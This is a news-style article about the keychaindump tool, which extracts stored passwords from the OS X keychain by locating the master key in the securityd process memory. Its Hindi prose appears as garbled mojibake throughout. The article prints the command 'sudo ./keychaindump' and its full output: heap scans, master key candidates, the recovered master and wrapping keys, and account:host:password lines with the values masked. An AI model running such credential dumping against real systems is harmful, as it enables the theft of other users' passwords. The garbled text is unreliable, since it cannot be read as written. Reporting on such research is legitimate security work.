рдлрд┐рдирд┐рд╢ рд╢реЛрдзрдХрд░реНрддрд╛ рдЬреБрд╕реВ рд╕рд▓реЛрдирди рдиреЗ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЙрдкрдпреЛрдЧрд┐рддрд╛ (
http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain ) рдкреНрд░рдХрд╛рд╢рд┐рдд рдХреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдХрд┐рдЪреЗрди рдкрд╛рд╕рд╡рд░реНрдб рд╕реВрдЪрдирд╛ рдкреНрд░рдмрдВрдзрди рдЙрдкрддрдВрддреНрд░ рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓рдирд╛ рд╣реИред
рдХреАрдЪрдЗрдВрдбрдВрдк рдиреЗ рдкрд╣рд▓реЗ рд╣реА рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдзреНрдпрд╛рди рдЖрдХрд░реНрд╖рд┐рдд рдХрд┐рдпрд╛ рд╣реИ рдЬреЛ рдЖрд╢реНрд╡рд╕реНрдд рд╣реИрдВ рдХрд┐ рдореИрдХ рдПрдХреНрд╕ рдПрдХреНрд╕ рдХреЗ рд▓рд┐рдП рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЗ рд╡рд┐рдХрд╛рд╕ рдореЗрдВ рдЗрд╕ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдкрд╣рд▓реА рдмрд╛рд░, рдЗрд╕реЗ рдореИрдХ рдУрдПрд╕ 8.6 рдореЗрдВ рдкреЗрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдХрд┐рдЪреЗрди рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдирдХрд╛рд░реА (рд╡реЗрдм-рд╕рд╛рдЗрдЯреНрд╕, рдПрдлрд╝рдЯреАрдкреА, рдПрд╕рдПрд╕рдПрдЪ-рдЦрд╛рддреЛрдВ, рдиреЗрдЯрд╡рд░реНрдХ "рдмреЙрд▓реНрд╕", рд╡рд╛рдпрд░рд▓реЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ, рдбрд┐рдЬрд┐рдЯрд▓ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рддрдХ рдкрд╣реБрдВрдЪ) рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИред
рдХрд┐рдЪреЗрди рдлрд╛рдЗрд▓реЗрдВ ~ / рд▓рд╛рдЗрдмреНрд░реЗрд░реА / рдХрд┐рдЪреЗрди /, / рд▓рд╛рдЗрдмреНрд░реЗрд░реА / рдХрд┐рдЪреЗрди /, рдФрд░ / рдиреЗрдЯрд╡рд░реНрдХ / рд▓рд╛рдЗрдмреНрд░реЗрд░реА / рдХрд┐рдЪреЗрди / рдХреНрд░рдорд╢рдГ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХреА рдЬрд╛рддреА рд╣реИрдВред "рд▓реЙрдЧрд┐рди", рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХрд┐рдЪреЗрди рдлрд╝рд╛рдЗрд▓, рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдПрдХ рд╕рдлрд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧрд┐рди рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж рд▓реЙрдХ рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕рдХреЗ рд▓рд┐рдП рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрд╛рд╕рд╡рд░реНрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╕реЗ рднрд┐рдиреНрди рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЙрд╕реА рд╕рдордп, рдЗрд╕реЗ рд╢реВрдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ, рд▓рдВрдмреЗ рд╕рдордп рддрдХ рдбрд╛рдЙрдирдЯрд╛рдЗрдо рдХреЗ рджреМрд░рд╛рди рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдмреНрд▓реЙрдХрд┐рдВрдЧ рдХреЛ рд╕рдордп рдкрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред


рдЬреИрд╕реЗ рд╣реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЪрд╛рдмреА рдХрд╛ рдЧреБрдЪреНрдЫрд╛ рдЕрдирд▓реЙрдХ рдХрд░рддрд╛ рд╣реИ, рдкрд╛рд╕рд╡рд░реНрдб 24-рдмрд╛рдЗрдЯ "рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА" рдореЗрдВ рдмрджрд▓ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ "рд╕реБрд░рдХреНрд╖рд╛" рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдореЗрдореЛрд░реА рд╕реЗрдЧрдореЗрдВрдЯ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдЕрд▓рдЧ рдЕрдзреНрдпрдпрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдВрдЧреНрд░рд╣реАрдд рд╕рдВрд░рдЪрдирд╛ рдХреА рдкрд╣рдЪрд╛рди рдХреА рдЧрдИ рдереА рдЬреЛ "рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА" рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреА рд╣реИред рдЗрд╕рдореЗрдВ 8 рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдПрдХ рдХреНрд╖реЗрддреНрд░ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЖрдХрд╛рд░ "0x18" (HEX рдореЗрдВ 24) рд╣реЛрддрд╛ рд╣реИред
$ sudo ./keychaindump
[*] Searching process 15 heap range 0x7fa809400000-0x7fa809500000
[*] Searching process 15 heap range 0x7fa809500000-0x7fa809600000
[*] Searching process 15 heap range 0x7fa809600000-0x7fa809700000
[*] Searching process 15 heap range 0x7fa80a900000-0x7fa80ac00000
[*] Found 17 master key candidates
[*] Trying to decrypt wrapping key in /Users/juusosalonen/Library/Keychains/login.keychain
[*] Trying master key candidate: b49ad51a672bd4be55a4eb4efdb90b242a5f262ba80a95df
[*] Trying master key candidate: 22b8aa80fa0700605f53994940fcfe9acc44eb1f4587f1ac
[*] Trying master key candidate: 1d7aa80fa0700f002005043210074b877579996d09b70000
[*] Trying master key candidate: a0a20000000200f7474d400000700d01a980fa00007f085e
[*] Trying master key candidate: 180000000000000000000000000000000000000007000001
[*] Trying master key candidate: 0000b107000001000000803e970aa8710ae567eff7ff0000
[*] Trying master key candidate: 796a63507e6c2a84d9f095fae2896058dfe029cd0f7105da
[*] Trying master key candidate: 16ac866d636215c01e337e942f48cfed12d7c45bfab8dbf7
[*] Trying master key candidate: 070020539baab0d1d6a3aa80fa006877ed57f80fa0000000
[*] Trying master key candidate: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a
[+] Found master key: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a
[+] Found wrapping key: e9acc39947f1996df940fceb1f458ac74b877579f54409b7
xxxxxxx:192.168.1.1:xxxxxxx
xxxxxxx:news.ycombinator.com:xxxxxxx
xxxxxxx@gmail.com:login.facebook.com:xxxxxxx
xxxxxxx@gmail.com:smtp.google.com:xxxxxxx
xxxxxxx@gmail.com:imap.google.com:xxxxxxx
xxxxxxx@gmail.com:api.heroku.com:xxxxxxx
xxxxxxx:www.freechess.org:xxxxxxx
xxxxxxx:twitter.com:xxxxxxx
xxxxxxx@gmail.com:www.google.com:xxxxxxx
xxxxxxx:imap.gmail.com:xxxxxxx
"рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА" рдкреНрд░рд╛рдкреНрдд рдХрд░рдХреЗ, рдкреНрд░рдХрдЯреАрдХрд░рдг рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ, рддрдерд╛рдХрдерд┐рдд "рд░реИрдкрд┐рдВрдЧ рдХреБрдВрдЬреА"ред рдЗрд╕реЗ
рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдХреЗ, рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рд╢реЛрдзрдХрд░реНрддрд╛ рдХрд╛ рдорд╛рдирдирд╛ тАЛтАЛрд╣реИ рдХрд┐ рдпрд╣ рднреЗрджреНрдпрддрд╛ рдУрдПрд╕ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХреА рдЦрд╛рдорд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реИред рдореБрдЦреНрдп рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рд░реВрдЯ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдХреАрдЪреЗрди рдХреЛ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ "рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА" рдФрд░ "рд░реИрдкрд┐рдВрдЧ рдХреБрдВрдЬреА" рдХреА рдЦреЛрдЬ рд╕реНрд╡рдпрдВ рдХрд╛рдлреА рдЖрджрд┐рдо рд╣реИред
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain